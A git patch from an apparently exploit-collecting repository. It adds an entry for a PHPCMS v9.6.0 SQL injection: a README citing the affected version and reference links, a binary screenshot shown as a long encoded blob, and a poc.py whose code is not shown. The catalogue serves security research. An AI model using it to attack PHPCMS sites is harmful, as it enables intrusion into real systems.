From 458d0dcc3a8e8e9e9a46ee5f726643118b7574c0 Mon Sep 17 00:00:00 2001 From: exp-db Date: Tue, 13 Jun 2017 22:05:18 +0800 Subject: [PATCH] =?UTF-8?q?=C2=96PHPCMS=5Fv9.6.0=5FSQL?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../README.md" | 19 ++++++ .../poc.png" | Bin 0 -> 58779 bytes .../poc.py" | 59 ++++++++++++++++++ README.md | 4 ++ 4 files changed, 82 insertions(+) create mode 100644 "PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/README.md" create mode 100644 "PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.png" create mode 100644 "PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.py" diff --git "a/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/README.md" "b/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/README.md" new file mode 100644 index 0000000..8c86ff0 --- /dev/null +++ "b/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/README.md" @@ -0,0 +1,19 @@ +# PHPCMS_v9.6.0_SQL注入 + +## Official + +http://bbs.phpcms.cn/thread-936226-1-1.html + +## Affected Version + +PHPCMS v9.6.0 + +## PoC + +![](poc.png) + + + +## References + +1. https://zhuanlan.zhihu.com/p/26263513 diff --git "a/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.png" "b/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.png" new file mode 100644 index 0000000000000000000000000000000000000000..c1cae76e3081604de3df6b0f1e792d1bea79188e GIT binary patch literal 58779 zcmV(}K+wO5P)Y`&IzTcva%9SKKUeu4yb`Tjx0af%haY}8Hqm@OFE0w8%jM)J{ig5yjIOv! z_`V++Y)PNd@0-Jf%@rW!O!{#XVqDzj0EoEz%-?cBP_YTS+%mf1qv=HjX!Lur_H{p# z@+elGq66) zgqv3>S<)2XR!kO^l2LKr%L!j@nn`tVY3R_Qc<#C9VR)H+#$%i_duxfTX;l3-Ha6ac*39o{2td?tH!X-h0b-AuP3E!2(=x!38p( z8*jW3jg5^GY-I^au3x_%S6y|LeE9OqFBf!xViR?=;PjgZiwmyY0mQ$Hb>O7@n@dgY zBu$-An*wIa$*WW&m(wYVfstb2%h9C7^@BJ{0#w{j_&47xRj;OkqojD7(>BeyUrruL zAeI+1almVH^4(lY!PXa>Hm7~c)!0P)q`T0LF1p>YN$FE~o-^X8lva$xxMAISByPbU zT`aoyQHX_rNWU`?$ARI#V)(-BF%_d(q`4w)k*Uq3-Ds-F=@h%n?zku#bNlj3$~)) zw>OHLbc+F-a?>jY47N7FipEU}9~Ul4Nm|Qd+RUUpn**@QNv~AAxOBEOxQUy9+`OV! zT$xkAl@im|ZWkByyTFQp7JYZMM@jwK1z6GWNpn#Yc*HI8+~;n%sDdCG&;8AyESi>^ zN3nA9Gj|?zpD~Zh)n-N0jfO7=$ZRgya>M6>7Rco*%ZiinHzDI~+-$H`4n@mFdHdKP z@8`uONfg5u<#Eg8Qd6{Oadr9NgAefi?|&cHUw=KafwWKOdQlb>c5Kzfxd0j-utFyamz{Agk~`0j(shWU>5;fqSAAD^_6e;K9mAivsSt z>#k-nBqbaNMy{)>LZkS7jtH~E3N_ub$8$@jL`)p2wJjC&USo)o6o{ZeTa zD@U=g#nLOc3~}ic(`FUZUN%KV+#G(FN~0-Zwlv6z<6~2R*0u&++v}M9s?nBiC+>eP zxFR{u-^mf!oeLOH(0z_a6g8R0`Di5prl<+f9S<((h>P#09hXK_(-tjDu{7N0#U|>w z@|1d3Y*AZ^Z&6ADvfFA*HwSFRX(FRU8Y}`)465kU{Y^x_eXY%kmZ2$ND=8j*?!5EP z@_Uv8xGRLX1YBw-2GgxwyP}oue3QC$!yT(uVZo+N1z^hsQS?byRI3#=CvLA41tsNb zN|Jz1vAD%1*0^$%Tjp}h)0Ff}X}03-mqX1dPdRBd8L0Y5Srr zDPLJr!=TB%SgteJVt_?Na{!0o1-{##UEsw)DhhVoGH|_;fDV68(ipksyQK7@S}i6Q zjKw{3^LE1}`G~n`meTSU(?&&sW-*EbSIv9S_a{YR(*kQ}=3DkapZ}rX&+$QX2AF{t_nK51cdhAapE}c2fXZ z5+w8LE zZfJ&VZN6*?IZN_}K~r>b9R)5fx&7A#ThV^)f)Ssd6WH-dR%nwQr$^k1@U57+ttlEV zKS9G4w^%G!1Hu5+l!L-?dgi;Wkc?B1QXxQ!`&};BN{kOx99dQl$A5L9{`=qmnlvgi zt3zpS%C!qUFP3*H*%jq~w4Tv=xM1tPU*2k-fA74@4akZsN4ciLQss0h+Z2sU*3aOE zu3gZzvJww{@(FHRz8ux!`?q)85v|3bxOnHCanI`iitt{6CM)ctwGJQs@lF9KYB2Kh z;pp8Vs?l1CnPcz5Q~l1yRcBUX$%8lH{x_)v{c-kHXQFz^gSbiD=zsQAIJ0*M-%Z`>R0LgAKS*0uK_xZrvW>P&YDklltUZ*yujICIRY*t2bT@VgUqG;hyNWWb#LKt*8qecMoc&`3 zj}VT8j@KpM`QB-Rd3*D^x&{FaN)kY6qIz`f&$E z0}g|4u7!|&u@!7 z-6-otIe+!U`<4a6&c!z=vP|m+EsW9C*Y`Rk*)w)^QH)p)%_COI-&}36a*sQpG{K(L~HU~ zvS!-Vc<=9j!aiq>Ll;rtrJv3Lb{m2Y&N*ZhZq0iy;!ic-!H=s63@yX|T|EiU96Jg( zp59r3sWtE6_fLO-E~i_7rdwODh}^P;O;3R=n_4}(ig{P?gayY6%>BbW9QD1E(atAK z^BC^_J#hLDufQIyRrnPz{RFRldW8T;8J*_y_~*y{aB@$Y9@H?UBv;H8AWJ5!`-A{l zH{Z7eXIy+0dbXwfR-pdTkFf4rd!jAk27qdB&nF%`g%`i+iR}kb@(RE50@CAK>hGEl zAH`4K7=RzjG6a!GuE*C!N7{*GxcGqltdh!0))z|61_zD*GJ|4S=!01Z6FF=-JV^;EY)oXX+q2(vz ze=hBz(h{KWsf8PHLJu1;SUVrDytp?`KCct9>**C|N8>vae@F}G`X(D z{HJGNVJA@^nURG=ehE=r?GH@Zs(P+;m#>92-aSL+Ff-~#JxMF z+>K=-POS{2WC4w}Bk6%Ax2~sgL(@Fl;(fHNC zMDx$KO+2WIYDc)L67+a(9J=o;d|2zG*H)~7iv@0uw#rk9s(H!}YxHIR=lTVX43Swy ztN|zjwgkv(ii3Iqv6hX?;;H`N>-kmI4OYw6(9mF_HssqEB>=fHAfNen18y> zlTac*HegGCMuF|7Tvj^8-!<{-P#Ng=#ba(%_(W^9ikX|$4<*%`0=!IHdmc)jr9gpN z?b-`HPWdHTcj|)powK+4ln{o;W~tc+&};@APB9_i*XCo)D1pusXD&u$5an^DaDj z!lk(VJEGi9S*nk?4Mzyj+DN#&HxlVBQkN;EXAvD^~3&M+Bqw!@J>xC)3Vp! zLcas5B>-DKYcifW?n36RCgW8{fd(N9N)aSr)3h zxW8^b{_nY?arDu)pRHXhCg{HVqH{auL1!FNx0jq)-To805aqFNSBDApA%S5oj{#Xm zY4rpEPymB?B>;^SG<;wD<}2%5CXV8}FL|Z;rLR^0dJZ_c2dd;VExa_p+V3@3aP&DW zSSfg_L1IP%k&M2wsE}hVWAFP42vvyuv)K;V>uW~>GZx_!I)He=3wR8t;QSNz5MY?= z+zAI>dLTOK`V$a3;)wV0_wY0k^4~FJ#fMS9aZ1gV=QCx$=G^1SA__Z&3uZ*F91gl z>WTI;TqpEBWpBLq&MIth;!+!LSnv{N9C;Q_+OxfB=L&t9^s=Agy~p3fk!Kx*&N6O0 z?0Lu#;04jny6+Z@hjnYQRMdT+PHjz_c0TX~^lV3U`2=qWkk#vy3vf^;RW})?(}DQW zSwr#OWADrUBgZ;m`X`lF@}YfC3_GZks&o4)^y>vITekt3j{D=-9&HtWcB#fde2mo% zy6>BQy2Vt*HT4UivmTNAHf^ z9Uir9+ZA}{cbKyrAvK%}u%ci~MV4aKEOm?zha8wIQ7`IIztV!9wI4l-8z21$Ybe~x zmqb15@!>~PapMiw zYs7W6{H$L|{)kzu`%t7Y^`Cg@(Hn8|O(M?~+#gq9fneL$dvvzomfO$aQ-*=4(d=Xl zNLJuT@U@~s@mk_P2SjHS4}5POR=)i%diCpswgnThd#s9&-FF`_b( zhIH?)SJuR@wrE!k%$xcyRvEzIN3QiU&))qz34q~g0qn^Mn#0KQ`s%x{+th#<-<@cE zHF2sIRL>|4-_rop$0v)X14r$SE?J$wPFGICo|m`eH!GfZO-@J`Cus;Qp@5lF{YM z7@%vxl0-TAKm#x1~IjT7aY1?|lQqE**(>pS==O zfhe^@?~}fdeXpB{zwbE_hr4#O)t_NOFaQU(<@&6_ya%qsuij9<2b_B?M)q!ps-7pp zyW>MFJ)#<2)~v*v13KcQ_8rjOyB8lUIUHTu3GnsC030-oRHCaT=$ie+%Q*0w+i|+2+-?{@wjNW zD{yyk5hk#6m5C!6E4P??M1xRYw)k2KMv@iSNu?e%X3y~%lU;CbcOSLvDmWS$_ z{QK8mTrXf;lxnb_06%h2%b@g~O`v)JlP1ce5Ycv;7hI34 z>+KM>C|YiSaC2MhFD)9NN%XfS!N73sesx^L>o@Lia2A(WwvWdQC?Cg1$I$_tseR z@k^M|>s$Drj-E8>vbLe>;L$i^=_K4c{(01#@k5;2vyEP@YvI0pE*_b86wW)Py%H$e z?@vy^AoKEbcz9kPj5wyfm^e1bKJk}d--2fg>em|sGRkzQ`nS?}dEQ!l_}o;?>vKAe z@2~;O#K5ZAx4oE*vT|afu9HV#eB^?x)_%0_iNlVXihJMv8m>5KS77bGGg|8_zKoHg`z{PyR9aYN6-VBuA@AGfslMQ=gC($WZzyD7> z+xK+QzExOzH1P9(evE!6?}0YK8oXaGKp~D&fJ1j#a>V_QVDPi^{(}pyyaK~%oWFE4 z{@=47<(J4tuxHA)iw+ z$XoRWe)}gMwIlnZV@6D7x@6MG6lCP5oN#FXWb&e$WJTZ2i@X9caZ^9e8IzgO0Ksa* z7~J^ICk3W7a``+O>B#+`@HHe1Kk5u%DP``T&3U*n}TmdPBkJ zildCzpfq%zCw;5A4zk}-Up2roqka=_eeDA$!nUYr#JH<&FDtLC06NsC6n~Tkl4TLe zGLP)k1ZD)#gyV+c>fBVn&=xQaGJV#Z`qn_#s#Pvju9htVv~8Wmnsxc`{mMYT6xwJy z%?F!>MO|~`Q>YK-6`w)gnw{N4-Wi;FzE$`zFw90Z1susxU^P`ya!q-e)~bY!>l|yO z9~6Xl878S}57c^hOHk8(^>cWl|GBufi@5(;Vzyyw*BeI-^DuGZ-?8U)QFrUvAZ1k_ zX*L$1Y~(~t9JyKou9ujxU3%g~?>YSUv%`T8o<#qHu0eaWmzu6;|N9vZ#|q3Ia1e%R z(=$aI@V#L=P0Ic#4D;@g<;RD2;^T9!7J@9MoK=V6mRn&4CzgJQr-NEt*g0bB)uUex z#HILXT7VNTsa8Hna#bS){JQTTv!iNElb)m{m`~v^t-+2NZ9?1a0Gzkq6R2Od4*fQK zh$n-S@uMN#P(d9g*b#k?J^^@3?GpWD!80{!P45j(dO+3@y;>l<6G?rZicB% z&r@*q)yLq&NAJWPH_-0OAK}!!+Dc8E(!MD==7MW+NGHWE^*<4 zq6u4fO(pm;(iA9HO#;CD&tYBF#M+@7_U{M0zIL5>)-xQT z8VHdos%k)QOnq}D)`{78-lOjdoN)r$|ET-s001BWNkl4)+EYt{w#ieGjD3>gYR7WEg4?+ZSnV;=Us_I zI6=n(AQtwJ?rG2750gaS;TU`BUSbrl!75_kr|VJCtG!YpkT}dU*rK-P z2|9zS9!CN9{tK%Hw!`XwK99bqUx+HvkZU~#TD}yfoesQA0IU^w<+k7AR#KRqeK`hp zvJ<7z4$;3Iy5PXRkKlp1t8nw6Hdy)AT=d)TSnMPQ#EyqvjFEr13wQoRHw)Ruy`8ZG zX(gDY9`oQ3RA-d@?AGrL^!w{ z{MOj9So6{2_~|4ebo!iziv{p&E8BfB)~-KTjAuA)Mcs6*kRE-oUprrF)TC>c)Tr1p ztAK0q{@)%!=FCfQSQpxH2;?M)Sb74o8r zIZ+34hz}&FrwPr|azu?4rTsCcUkx%m2M9Md=Fvb$G|)L-zDg?(#haW2NeqM>P~x@YmN6Ex?bp{z- z4!;z`o)jSJu>oSr(_z{QVJLpw`~G4aR@Ehxb6z7=l};7*IN?n^zi2TI`nbP{(@x$e zP1l>xEy9w67ofjLsGV%AHfYz~!|WBSF~V$X)GM9;&c$<21OnRKATEby--OFgxCFNh z?(CFZOoSgkjo|nT(b)hc%O9Ud=aP@`R4@#eR;$&Vx8rU&WIx~+^H<==?$r?#9>~F| zkUjgUXh5L{x>EJ#VUiLEkN4SuVeYTKG>1j!K;5>wa5y2(vR$@+TY-=rv(-f=-`<1I|_a}AfEEk+CDk4 zpL#8>6X5E)pZ^K_Uw%6Fs`?skxM7f7P1u#CSpjh|d6mne^*p6b3C(Jljb<6vh4f)>o8)k)>2E*&`7=qjUs4A z5Vm;kt>rj!_ubK!1)BNfGQ#+W9rgQr@f><#9){wqU9GV6cvZ=~ZqpN|UwtK()!&SJ z{_>&JzO==1%>OHJ?0KC;vVp<6z|k0e%^?yza_^R_Kn=74Il<@+1e9Aw-6!5ipe3FA zzAu1GXKkKgGfxL}KcEJ9U;$Pg)&*7C37S{gvZ&fTNn@s>Y9Ea3`&0bmu_c%@w-3%d zrk%)lwJ}Y49vng25eHp%8EWP~iJ$%YRqQeDAav1M4Kq2)iKjjG8F~zYdlq2jfL-wV zJICVa;T^={g%aw3eNMjy6SOAcv-cmxUo(4Phpg`)p?2ulm%#j5QBT`16sYn9sM0%z zcj$l~n2Y~xI29Egw7lE+Z@h!9ID)iNax(CY)3lk^bUW{`*U7l{$`$zM&G+GN1Ad6Q zo;`4kXz4dstV8cT+d31NhczqT6zO)ukvj-*1qNEw7LKop#5L#lqSEzqhkz{fX^_YAIx$trz2 zhp4%lcX_iW!)mrdt^%I&ePiFyjIJA-jHz_8>@p8u=G91mOKa*{wyZ=&WfrYlwG<2B zbrM}s4GGwA|M#>uN}9erUw^me@5Y=b)AhZ)1aLmA@E7QEC0nB2MRO0p&>I>Utcwve zD3*Q9Hj)|lMmF*03C#=%to7@p8gq@ZZxYDzbLvPE`j^qiSdsY~+SgZt^=!ttAxIzI zsPk9c^~tO|1#nttDqHpMUt{#Qcf!(@jiRyhxaibf@X4R7d67WYs=r#Jk9$T&)LUQr z=5#p#0|dyLjT3QnpY|aq#c13(Z~q{u!eN&TgD2DAJjkqgE(Sb#2Y%!@QN_h?w`+gQ ze)(CvGd6+S6ADq>{vs(+@2Y6Mq2JcRP0t3!F0Ntbw znkL?z(f^xu@E*Gr7r(e1Ed<~pwP(eK_wc~~zK3-c-O=l050BsWB9>>BFHd&a>-hO= z`(x1VJ0ZJUAAHOEBc7eNR;HKDuE+b&KMv@LefPen08dQBKUP+Xv|FHZ;|F+X)=E^0 zDxA5z?hT$9g>?G~rbg#1eK{$WkH*x<>zrzO`Dz&XVgXRCY95a{u#u?uCl%rzx zUbVnmZ)46rBe73sJxujrA|bIxOiF+JaE$^S1{ii1ZNk1H+D@+fs!_*l?U`OefPJ=n zUkqA*N9@`U`18jr#rH~4j+J=pH*bPWiGHSq2AUZiwnCOuVMOIKpqHb{w?GV-s$O-# zQxouiOQknDuy!sUmOg^MF`shz>Gz7aAH)eb{_WwUCk^0nhQ`#dS3Wi`vhi;gv?q4&H$;GQQx#yXETI;_GgKY2xNNXTY& zooRKP5eto@fqC=ZMen*k=;(!dq-dJ8_~7x!@&1}Xfl4jR(Y38KrIK0n&wYnuKqu?p z;cGq^Z8r-XPfaSkDrLW%3hn$YfrcnsCHclEZ*1}17gtu^tJHooJNF%elkpeaaaBE5 znP=-Uf9fAGe*^issI)5N{SMe||Golb%@yeWF!b%9eTTF>rZTO1#= zH=kG^nv676QhCT1q_XRtI63$;W<2u--a5V~c9(f&O&Lk>R(|plCOqWfoPDcg{7+uG z30K#zLZ#ncmg%jB-oXm(`?F%sgP7fKe{>fBYQ?PUa9RCIw5aHcn&SgJ_2Ng^B>j=r z#ek9hu^VZ*vWjoYabAC4KOcX5d_FcB-YU@4y+b?ky)zEG;Om(4yPrzmOT+6` zFXNVn=8AOtp?g;GFDu)E>!Y+>(vK+H1xNkl1{~E@`!6w%cGwH2k3A8++N(BeA)d7q z@#$)jp|V$?HC>{ww-TSND(QO`t+I4cSYLel>YhN_ty-whmMxSYmh@ZFK3T0=P#OYk zRH(S}x42r;RY_M?`f|x~P#rWMD&*KxlVYXxg{sg#ULvgH^Cinf-z!x)`O|!t`DJBU z>5_3O`5uK+zv+H!8Mab&WjZl%4MTXo7U)3RfRQc)}Uj@j!J__&t#j3@>RA_ zaxa@n_R(@_(|;CV$umF1P6vDsT~_}NKOCX_t`;p=SV0nR#QshREm2b3VpRH(sXGs>Q{(3`QrXEQ+*^-GD_kby1l=Tk?Gpt^z~aX zYQg0gKk8Ba>;R0u<$UbZfxdUe(N~^^|G8-_M(d~aLUFtf*%>Oje*?FUUVzJQxd@M` zr?}#t0jLxOTJ+Hqz$xRxgLaS{%FWdd$|m{Ss9bnF?Z@~n@AnGJ)yvx?X1 zbE(qSpi67>kl6uyAAK@#=k2(98im~t$DOzzuz=JiYWIrlXj)^W3>;A4O61e7+t;wq zy^}Cuj3~|bZ^0RTj>g#U&&Pz@{|8TN9*w%Swo#1$rlhm%HMk0D*S z@qB6Gdu-CRc)|qvCVu>rL8!(u%oukM9;+RVyAJKB`d%Qoz2*ZvGVu`vr(S?lc5kI7 zd@`R)FdImXW6t-bNipk@$&t)qzSN@Ur3FmtRl*u;&-!EW0*jsL`I4n=B;OyqJCJ;~ z8vVTS-BMm+p4Is1MG!lqoAk6ll5v2~X3WM8)`+oIOKNRgi-KO{Fh9+)6k3z)YcrYB z&RVmX)Hs>V1}fiNo-|IrG_B?{fid%ax_lW98FUDqp7u2M?%fOByYH@c{5CX5GomyF z25MaUT1zJDmG$jr3XwkXMWvaO^JG4-JZG8Bie~z?!wx%Qk3II(i%w-RVSglO)2{VT z66J_UhTwks+|8%Oe+LW>FXRf%AER$9`L$kvKX5 zZL-y$Rsyj-gkF@LllEKs406g;NE)r2bfQ$jvPTnrN>=I0!Iu#E-_#k*Yqf4$9sZ|RfH(b8oFK-_T7KGOHY?0`^(w9$-t58#gJY6LyFfCr(D ztDO2^cP4o}$O8LUj*^9V_WYZGD}Rn7tDVz=p={Y?zm`HjADFmSS(VqPmMc{(bynJ5 zyNQHDL!%Z}y0h!mvC;hK-AdpZc%D?>Dpjt^SDH>dZJ3Y)OlfL7(oRXoOV)fbz|g{i zXMI`Dyfu-zWQ2g{n0?&GWcDCuU;(lk8$@{;ta_S!O_u#1Zuo_V(Kj82>Wr^<720D0 ze6x$i3S_0-Qx2EJyL>(fwXyP9u{V1Fm>A6h*xCkUT4h~jhI$N1xRME)>BFt;nb2Lj=HRXnkE*v8)t1PD(>P5UTlxAiI{Pmk%m>~l2H%gKnwy7(UGPy2#t@l5nl`Ca$3d}B_I zXBn2YrTUD)To9Okp%$6eDZawlVM=u%2Y50WHstc=lgc4Kb9rr6g8@dK_Q_&RYgRg# zXDo^v6`g-@Q>D!)OU|68#X%Jb#K4|1)7N{}IGBs!V zbAVQDJD|&MyP^J{|HO(_tFUhUM%^EjOq7dsZ31P7ep4qYZ&V-3Yx8POr<-Sa?OGXR zhl3G+Ts_)htu*QCSO%73zCNab&9(|;1)670`bGv>dF&3FkaIsj*3$}oS4X?)_Gb;7 zPD1h9bNKBX_v6SRUxPw(Hk+xQCtX^M{0#yPuo~6-J9CXjR?=MEzI{6!a>yVoT(}7T z{?C7uxm|0#sNbG;+Nl_E=7?mCR@6*K-`8!(VazQ{aQBtfXx-AsnD5#{^9XR=df$o= zh;m;uK;Pw#1%1!`&H3|7M%_H!&#g_H3$RM1A$huVHm1CN49>4>T~J?T<8Bm0=h#c@|78z=VNfYa5Z~X~V z54Z@obyIeFx$X)0$U4^8DWPTnnq%j-Ve~uEv?C#PS~afqgd+Vk)b2oXHq5}O1eHst znbU$<<;R0JkbsN+DL(*8IPA0K1-g%`N4oAB$mE>?ZkfcKG{VP@Nc|tVUAg04;p60cqEBSQf zIV`W-LSRvYTVBm-z?|2sT^2N|s@5!Fgq8Td@~x?uJ7fe-ZjqBt(LtVtn&na6U3KPJ zbEWc^o5nodPIC4SOxZ$U3wZ-V9nTP_GJ&a!ufdGj2WC{`4iE`c|AJlw*?w1 zvv+@wYyNjmq-=e0_N6DIce}vKix3}RG&<_Ok1m6*!CiaQChlf_Z{{y_m>J zMS)TnG|Jy|=g!4{{`+6W1MQO~eQC)Y%13#yM(d%69x4D@?sxavy}AX)oV}|ATSNr1 z?)c4ee7LZ|XsO(DD57UlxZjERyV0m50IYH}N6|EzL!liBk+hQ1FO{DWstNBS4AdAj z8ZD^}^l2A{^7oMEgJiVN5TfsT;`B9|(pnMZU1xF5-zjIHWB_Yb*nzWPFqlyWon~Mr zDTVU$a>d%1%jpS=4W~L2GpPi!b8c#&PP$2USW_M?jOYv#xf;mws=xwEPxDW$F4U)V zpx1kv&gNV0Dw+E@lIWB7=dDY012WzfqlJHpr<6BLP<&`RD#tWZq#JpE)1ZxsB zD}Oz`T5Xu!Va8ekr-Pcl%>bV#h`7a~5}aCKYRynSZ@17Z=VK1D~Iw*Hb||2{*+p2k{i_5qy|+@Xkgi> z!GPAm=?Oi2E}Jy(Nv#m1MoVecltzoRG@BZ8@_VD!@Iq>e^u+D^7HskH3Ov9zOQjDZ5L9zLq$7zzTvEO-G}t=REMsr zIWwa*ZgPW6Rv$>6$(o&|+R&&sBhZ|n6aut(-bC_M$i@vDH%Lp&#*G`rwMo9#XOldL z)ziMcDi7ub<@2pmPQjTYv_>n*$=rSBhWU8$MvT63A+EZhvpi?z+Miix^U!Ikk@)-) zQvS|i`R(Z(&up!XDNEdUm$roIuc=gucX1Sczn2x>nT%3NHqs|`=zLZQrV7z<&1uRG zd910>Lef!tDp{8|16&Ev!1Qaoie?`ISTN#gL7?M#+DA>A%2?H}%?2b$H}NFxs7(xR zH%nqQ$anG>9`GS+TqXgAsV0V$p67WG@dF6vbJ0$bI+9Bra z`89y;6J{~uv`uv3$h@RJz>_3Rin`}JZOVsYW(*K8Ri^gRZQJO8L>|}7_t5Iz@W;^* z7}KQEsCe$GA9f-PZ$xsKXwp=sDmfbxN;8*85B!hro-^mwIlBFAk`EtZt|Ux6%F zRx;>SS}@TZfzrylW+gf=jr_n2V9@2|;|ub6+xo2Om9iiRG%u;FzS{jver9-q^sy6yLsAP*^SAEH z()vK*Nq*+obg0wT;7M8>c$}I(6+b_Q4&exF=G2}v50Ss0ug5!mH;Yu}hb&)CYKHS* zjhH^df_CP6c^#VB<;%9A@sRgazc$tb)ApeP8if)cE1~?=!d5{;f%8&n`~E$ypFNZ- zGyt3zg5Ge?l2AAXNp2eM#X{eG{~_FtqCcZ)gvwk5ytv_$9Q%{PCq0YP@|Dt>MKy9s zpwUfF9RR0S{TcnboJ~p_(ZH`^smPj%iOHx(y~rSRKm$+oOl;yaLLM56uy#QTVm_Bc z1v8L?($d>pmHk@z_mHNFR;w%y>{(hiUm8HlH%ownO$}C~<$zOJk87lEvhgC*EZ;#>tvN zKTn*6KolAns>4LtAy>&vmM;V}%*vZf>J@NKjV%u6$NSgXa_kh~n{av`n3ZezYtYiRRQUgWf?UHKDg zIpt{DjUHYXjKWDjpnP8PM4rDzngeaBCSE9CCIt|bCX3rzEj0O=G}MwG5%pJcI485C z)M|-b{k(M0C-9b`dCIrPJD5HfIBQ!YJM%_6nA4k^XddUWnuEhDu9q|SWixr%-!eJn zQeXg-(}D)i=b?SL)RhYupn7`2V*9&VXay38^2kxZ*!2O+8-S%mo91OMZ$Q00_*Kgw zsa9=--E>raV|Zmv)9%E{#F!l?6Wg|J+qR8~ZF|So#I|kQwkOG)yyttL=R0Tr*w?k! z>Q$?DRj*!M)z$Z1cvmsQDDABH^X{Ko0E@aE^ZKOLmB;z-%%1g11x)#q`7o~Ul*3A$ zNT^0i+6%6D_!b8bZs|?eR=@a2ycRmhB@e8C{H<~5YQ+k+AM$rn(JrfGEDsa)K;Y9a z*t?W&fbr?;)IAO_6eQKGc9x5eS^m@wtvvbD=411nkDi>L0S$m}|F{~g16G?oo1I^U zcEpepvMIu1cyG?4I)yqz&RRFe>>ZbJZRp%W#jMGoKzs8}RaJ>pg}y#w)*hVum5F@k zBIPGB3+E4wdZLkOW9%14|eOG#5UH^LgwZ8y>0g$Z#8D;Dn$ z^P%#u#XG5V1OkvK4dD#lQuJZnl_Z4Ybn9O$gSNc2X6SbmdzRkJmNupOm1+IN;)zEFh+$_J8c!|4J#t$2d z3KYheLnt_EnL0|orTS7d&*=j|-HxzZx?8DOX|;2`?>eM^X5Tt>)pJP2B4d)2tcM$y z>;7jPfUxt{oT#Iih3Y)=P6p+^C)n3UkBs>HAQ`^90cT2Zs|#171}A&$98 zclzpR#5^(YVRo)UZ=H{)o@I*~^scRf3l$`wc3U#;c#)V|eqW{P%6qPC;~NLh=t;J) zhfO!Bj7%V;=G~6q^x7av8iKo`TA?(wx2c3Vt$ zftoA#x%lG#A<_NF;_{JivuuHxWMY&;MuDIj(I{DmRY=LM8oWj7T$P^1ikjHD((FUl zr4S5AKM$tOR{Fk;Tzx?lpf~Un)Bi%td-L0pMJJ97LS zr{D`U%l!)KOGbIn?cQvSLUR5ZYbaVcdfd zR6&DS%Y1~dmcp@*0VssbdoUPAE3sJ_Lk)%~s~r8_SOz~9xAcOd$oJGRv^<8{=tLC< zTa~r6p=pB?&{GCm?bAK`BA1@H4pwF4%53%8bH(cHc6D2}>G(QVIyZ7x zINoK&J(VV)%{m!aDzO};aJ7Aum%t<%03LU^96qvQO?afV(puB*m`DS@5h{aU!h4z) z$1;^Ly$Th#fgnDga{J1{*m0r{hpJA0($Kl+*s7l?EAqTp&E=^y^|kJ=E?f72emw%YsZn5rK5Hi0B=~2h{5l$QvsM}3jEvWAY1c9H6@;3p5s>O}sZ|e* zkJlBY!gIHUd1yyo%pyUD1IZN5)5+5Z+|-q7&JxSSdlaROwDsg_$L$U|2%zvefuy$2 z(<2yz0BQ&QDIxuBKOKM)Xb@Tww_}Uyt-F#O*Y}-;9pBFKbmCQ6;y!s9=wpTy&Fr#@T^wI|`e%yx0c*hCyaqoYu#8OE`v{onPZ2bPhil%pr7z zw8>SjzQ2i#LR0Kb`=oW}LU{=8R=ORg=Pi?eXVe=!QA6doe1Lemg$%4ji_OWq zDSyQtWg-li9#N?fm}WCcx9GsLjV9KG!ykG(O!MExvpyPCAeuw7>}2yJrz+;M75&zq z(2GJKRav*m3cPkt@^dYp);+Q4OKX@k;TlkDpA)Fifj?3QQ=Z@Ynd7sqjo0jlGO<}G zOJ)B0!DE9Gl{>ro&I5}W$!04Ui$9O!~=B$8sJ{_ z=l8>KK#B~fz^NOmg;Yh+GsYmswzA2S@h`p#hwoWkHq6YTN=E+S3+^6o4<3+qdvbw5 zruNT^;%NH6@PYd0b{^LKZBE!sQ&}V;n}Z`HD-Qd9G&+ZI7fQgV_nIE&FrKbZx5u*1 zu5w>T@ALc{LH|E+ffS@m&cR3Uo82;MHw$}FTY`k=BBtDD^PU10ekuKoQ~q+Hv2e1X zofAxul5ZSl6HaI}io}MK=KKZdXm5$=dl$n;P2mu~U3FD#dK@{8hB|5%uRUyZ%#Ce+ zZ4DB4q`_##ns+2(`I~r%7yPhMPfc(g7x8Il?1puwt2iFy=lSu15>EsFzzySo+GeB)`!ahuc z{JQLL7nvh9W;c0|s;T4LDA%V-N5K@dB@ctxH&q<=RImv@bok`_bek>dUn?~;9cetEv8F+)-!L>tgagj?g{2t&USGLIGJ z1Mb(N5ee3irFo_P!Ol!ZRFvz5nUWCs^tWIvOxnz&P#>5&RyU}aB}V=EqDL!3`w_Iw zbj&JJtC0oaaL_p!#oQkTU0C#1?q_47pAGsPoUGDiI6;5}wvAA3*zy-?LR(Z9v}mp0 zJ){`(SG&Qj5Z6bL{mO{DLUMWhg1l>b`mgKcWNY3S`n|Rn-<4MEmaQ8cUiWU2L2#v@ z%UmoMP&w>Ao|$VQGxM!^gw|*vLp9Hbe5UR%eYqg9I&zucp&N>4PXB1*xhzG`k+fZ2 z-QLgiB_1PIHO6<@-Y*6Ou1B!_ ztYzi12M9vHXtP#$82Sx5h0S(2ah)j1Yim#()AaNC$QGq+irPY|dSQWT@?+pIz+M1EAbFrMt)^`=yij*- z*kbP2xtXmC`f|ejknMum;R!eF$BFWGGd5^DlkF_gfCYUy zjUCtCa*s1Ho(Vo3+`Hr&69aX(Ci`TM!UJ4%pSX8-?ldXikUJ)R?MaIv9hb>EL0Hyc z`!35DJ!Zg4J{rQ1f_#KIE4Do>oI*ew1h*0se=d6g7Pw*_d`FPg43Z=34l4>j$Mn0U zhN7^4A9t!=FyiTOCFhXZum3Q5f#G{Kj%n+?N>&u~Ar9KsK3LS|prt=`M7maAFs$_I zW}7_^cVZ62Nwqh;M*YAtOU3d|x>*jZ!NxOjh;(QevFn@!+3wfwJ+2(jGm63okAw;c zdcB1H6mc3|IRoGj$rP9-go9$3Iow1!1u+5PW;fi=+E=v0`6FpI+Cho(mvCCuD}Wy{ z75L^u0O&4?#D&wY1!MByX4Zj*lB z77E&cx6{3BT;0hxA z)&|H!!8wq1wwgKX!7_9)M^YZRzcw6Rj@Y^>ZswRj)#(uC@!AYpVDgSJVRh*oF(ml5Xt^49MrIz`ZD{l5~E5-6@p ziSjF9%eD2BGZ6k&riSs>YX0SB_9#w3HBT*QAPxE7Q%PNv13%B>gb*06OKC(LRz_pr 